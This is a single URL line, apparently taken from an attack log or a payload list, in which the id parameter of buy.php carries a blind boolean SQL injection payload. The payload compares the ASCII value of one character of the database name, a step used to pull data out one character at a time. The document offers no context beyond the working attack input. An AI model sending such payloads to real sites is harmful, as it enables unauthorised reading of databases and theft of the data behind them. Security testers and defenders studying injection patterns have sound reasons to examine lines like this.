buy.php?id=1'+AND+ascii(substring((database()),22,1))=47'[0]